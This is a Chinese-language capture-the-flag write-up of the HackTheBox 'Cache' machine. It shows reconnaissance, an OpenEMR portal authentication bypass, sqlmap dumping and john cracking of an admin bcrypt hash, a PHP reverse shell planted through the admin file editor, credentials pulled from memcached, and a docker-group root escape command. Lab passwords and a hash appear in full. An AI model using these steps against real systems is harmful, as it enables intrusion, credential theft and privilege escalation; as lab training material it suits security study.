HackTheBox—Cache

找入口

看了下站点情况,就是个功能简单的静态页面站点,登录的 login.html 只是一个静态页面,真正的登录并没有做好,在页面源码里面有个 js 链接 http://10.10.10.188/jquery/functionality.js ,这里硬编码了一组账号密码 ash/H@v3_fun ,用这个登录就会跳转到 net.html ,但是net页面也没啥东西就一张图片。继续做信息收集吧

nmap看端口

扫描了下端口只有 ssh 和 http 开着,没有什么特殊的

1
2
3
4
5
6
7
8
9
10
11
12
C:\root> nmap -sS -sV 10.10.10.188
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 08:11 EDT
Nmap scan report for hms.htb (10.10.10.188)
Host is up (0.10s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.67 seconds

目录爆破

用wfuzz跑了下目录和文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
C:\root> wfuzz -u http://10.10.10.188/FUZZ -t 100 -c -w /usr/share/wordlists/dirb/big.txt --hc 404,403

Target: http://10.10.10.188/FUZZ
Total requests: 20469

===================================================================

ID Response Lines Word Chars Payload
===================================================================

000010028: 301 9 L 28 W 317 Ch "javascript"
000010185: 301 9 L 28 W 313 Ch "jquery"

Total time: 101.5699
Processed Requests: 20469
Filtered Requests: 20467
Requests/sec.: 201.5262

C:\root> wfuzz -u http://10.10.10.188/FUZZ.html -t 100 -c -w /usr/share/wordlists/dirb/big.txt --hc 404,403
Target: http://10.10.10.188/FUZZ.html
Total requests: 20469

===================================================================

ID Response Lines Word Chars Payload
===================================================================

000002846: 200 67 L 156 W 1522 Ch "author"
000005201: 200 147 L 230 W 2539 Ch "contactus"
000009563: 200 338 L 973 W 8193 Ch "index"
000011054: 200 105 L 147 W 2421 Ch "login"
000012432: 200 18 L 30 W 290 Ch "net"
000012543: 200 99 L 915 W 7235 Ch "news"

Total time: 155.1046
Processed Requests: 20469
Filtered Requests: 20463
Requests/sec.: 131.9689

只跑出了 2 个目录,跑出来的文件都是前面已经有的了。

HMS注入?

author.html 的页面写了作者信息,大概意思就是他很厉害,还开发了一个 hms 系统,google了一些发现还真有 hms 系统的 sql 注入漏洞,按照搜到的 payload 一顿操作结果不行。。。继续看搜索结果有个github地址作者刚好就是ash开头的名字项目也对上了,结果进去翻了半天发现是个 java swing 项目。

接下来仿佛进到死胡同了。只能去搜下大佬们的思路,结果说是virtual hosting 的利用 ,根据维基的意思就是说为了减少成本,在拥有1个公网ip的主机上绑定了2个域名,其对应2个完全不同的服务,用户在访问的时候可以通过host文件来指定访问的服务器上的对应服务。

以题目为例,大佬们的意思是找到了一个 hms.hbt 的隐藏域名,直接访问是没有解析的,因此我们就需要修改 host 文件,使hms.hbt指向10.10.10.188 。(没太懂这里的实战价值在哪里~)

kali修改hosts

vim /etc/hosts 在里面加上一行 10.10.10.188 hms.htb

再修改/etc/host.conf ,加上 order hosts,bind 意思就是 hosts 文件解析优先于DNS解析

再重启网络使设置生效,service networking restart

接下来再访问 hms.htb 就可以看到隐藏域名的内容了,是一个需要登录的页面,还是先扫下php文件看看:

1
2
3
4
5
6
7
8
9
10
===================================================================

ID Response Lines Word Chars Payload
===================================================================

000001816: 200 35 L 77 W 937 Ch "admin"
000005261: 200 0 L 7 W 37 Ch "controller"
000009563: 302 0 L 0 W 0 Ch "index"
000016262: 200 15 L 180 W 1214 Ch "setup"
000019114: 200 0 L 0 W 0 Ch "version"

在 admin 中包含了数据库名、版本信息等,在 setup 中可以看到站点的绝对路径是 /var/www/hms.htb/public_html/

OpenEmr RCE?

直接google就可以找到rce的exp,但是有利用前提就是得登录了才能利用。试了下前面的账号密码,进不去,回显信息来看爆破也不可行,登录页面也不存在sql 注入。

继续看google的利用结果,结果发现一个貌似是其官方网站的搜索结果是 OpenEMR v5.0.1.3 - Vulnerability Report ,点进去看发现是个版本存在的漏洞集合,类似于渗透测试报告。看了下里面的sql注入和 rce 都是需要登录的,有的会 302 跳转到另一个登录的页面:http://hms.htb/portal/index.php?site=&w ,在报告的 2.0 - Patient Portal Authentication Bypass 中讲了利用方式,分为3步:

  1. 访问 http://hms.htb/portal/index.php?site=&w
  2. 点击 register 跳转到 http://hms.htb/portal/account/register.php
  3. 再手动修改访问路径为 /portal/add_edit_event_user.php 就可以看到一个页面,其中 Provider 是 Administrator ,这时其实就已经有合法的cookie了

sql注入

经过前面的操作拿到的 cookie 只能访问 portal 路径下的文件,刚好报告中就有个 portal 路径下的 sql 注入,直接 sqlmap 跑,跑了 user 表,里面没有密码字段,继续跑 users_secure 表,其中密码内容如下:

1
2
3
4
5
6
7
8
9
[03:53:24] [INFO] retrieved: 'openemr_admin'
Database: openemr
Table: users_secure
[1 entry]
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| id | salt | username | password | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
| 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL |
+------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+

john密码破解

password 使用了 linux 类似的带 salt 密码存放方法,可以使用 john 进行暴力破解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\root\Documents> cat a
$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.
C:\root\Documents> john -w=/usr/share/john/password.lst a
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx (?)
1g 0:00:00:00 DONE (2020-09-14 07:58) 2.380g/s 2700p/s 2700c/s 2700C/s water..zombie
Use the "--show" option to display all of the cracked passwords reliably
Session completed
# john 对于同一个密码默认只会进行一次爆破,如果爆破出了结果就会在home下生成.john,其中有爆破的缓存
# 所以如果第一次成功爆破之后,后续再次运行是不会有结果输出的

所以这里的账号密码就是 openemr_admin/xxxxxx

OpenEmr RCE!

使用这个账号登录之后就可以继续利用下面的 rce 拿 shell了。这里不知道是题目环境的问题还是啥问题,试了 exploit-db 的几个 exp 都不行,最后在站点的 Administration 下面看到个 Files 下面找到个文件管理功能,可以查看已有的文件,这里直接选择 letter_templates/custom_pdf.php,在下面的输入框输入 php 的 reverse shell :

image-20200915115245481

同时根据提示 Edit File in /var/www/hms.htb/public_html/sites/default ,我们这里实际的访问 url 也就确定了,即http://hms.htb/sites/default/letter_templates/custom_pdf.php 本地起 nc ,访问该文件即可实现反弹 shell

提权

上来之后当前用户是 www-data ,切到 home 目录发现有个 ash 用户,这个用户在我们前面的 js 里面出现过,试试里面的密码成功切换为 ash 用户,到对应目录查看 user.txt 就可以拿到 user 的 flag 。

home下的另外一个目录luffy 因为权限问题,无法进入。cat /etc/group 可以看到 luffy 是在docker 组里,sudo -l 没有权限,翻了下文件也没有发现,ps -auxw 看进程,发现有 mysql 、memcached、docker、python等非系统进程,所以应该是从这里面找突破口了。

memcache发现密码

mysql 这边试了 ash 用户连接不上去;docker 权限不够;memcache 可以直接用 telnet 访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
ash@cache:/$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
version
version
VERSION 1.5.6 Ubuntu
# stats slabs 命令用于显示各个slab的信息,包括chunk的大小、数目、使用情况
stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 1165
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END
# stats cachedump 1 0 通过itemid取key,上面的id是1,再加上一个参数:为列出的长度,0为全部列出
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
# 使用 get 直接读取 value
get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

docker提权

通过 memcache 我们拿到了一组密码 luffy/0n3_p1ec3 ,结合前面的 group 我们接下来应该就是从 docker 下手了。这里发现一个大佬总结的提权集合 https://gtfobins.github.io/ 其中写了 docker 的提权手法,测试成功:

1
2
3
4
5
6
7
8
9
luffy@cache:~$ docker images
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 12 months ago 64.2MB
luffy@cache:~$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
# id
id
uid=0(root) gid=0(root) groups=0(root)

总结

  • 信息收集,利用 Virtual Host 访问同一服务器的不同web服务
  • Google exp,从多个可用exp中组合利用
  • sqlmap dump 数据
  • john爆破linux hash密码
  • 文件上传php reverse_shell
  • memcache 敏感信息泄露
  • docker 用户组提权

参考链接

https://ca0y1h.top/Target_drone/HackTheBox/18.HTB-Cache-walkthrough/

https://gtfobins.github.io/

https://www.jianshu.com/p/47d37eaf769e